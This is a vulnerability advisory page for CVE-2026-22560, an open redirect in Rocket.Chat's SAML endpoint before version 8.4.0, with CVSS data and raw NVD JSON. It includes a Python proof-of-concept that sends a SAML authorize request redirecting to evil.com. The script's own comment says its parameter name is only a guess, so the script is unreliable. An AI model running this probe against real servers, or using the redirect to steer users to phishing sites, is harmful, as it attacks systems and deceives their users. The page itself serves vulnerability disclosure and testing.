Security Vulnerability Report
中文
CVE-2026-22560 CVSS 5.3 MEDIUM

CVE-2026-22560

Published: 2026-04-10 17:17:02
Last Modified: 2026-04-17 22:01:14

Description

An open redirect vulnerability in Rocket.Chat versions prior to 8.4.0 allows users to be redirected to arbitrary URLs by manipulating parameters within a SAML endpoint.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:rocket.chat:rocket.chat:*:*:*:*:*:*:*:* - VULNERABLE
Rocket.Chat < 8.4.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-22560 Rocket.Chat Open Redirect import requests def check_vulnerability(target_base_url): # The SAML endpoint vulnerable to open redirect endpoint = "/_saml/authorize/" # Malicious destination to test redirection malicious_site = "https://evil.com" # Construct payload with the vulnerable parameter # Note: Parameter name 'redirect_to' is indicative based on SAML flows params = { "client_id": "random_client_id", "redirect_to": malicious_site, "response_type": "code" } full_url = target_base_url + endpoint try: # Send request, do not follow redirects to catch the Location header response = requests.get(full_url, params=params, allow_redirects=False, timeout=10) if response.status_code == 302: location = response.headers.get('Location') if location and malicious_site in location: print(f"[+] Vulnerability Confirmed! Redirecting to: {location}") return True else: print(f"[-] Redirected, but not to target. Location: {location}") else: print(f"[-] Status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}") return False if __name__ == "__main__": target = "http://localhost:3000" # Replace with actual target check_vulnerability(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22560", "sourceIdentifier": "[email protected]", "published": "2026-04-10T17:17:01.980", "lastModified": "2026-04-17T22:01:13.620", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An open redirect vulnerability in Rocket.Chat versions prior to 8.4.0 allows users to be redirected to arbitrary URLs by manipulating parameters within a SAML endpoint."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-601"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rocket.chat:rocket.chat:*:*:*:*:*:*:*:*", "versionEndExcluding": "8.4.0", "matchCriteriaId": "56DAA79C-714C-4F43-AA4B-FA20A6C95473"}]}]}], "references": [{"url": "https://github.com/RocketChat/Rocket.Chat/pull/38994", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://hackerone.com/reports/3418031", "source": "[email protected]", "tags": ["Issue Tracking"]}]}}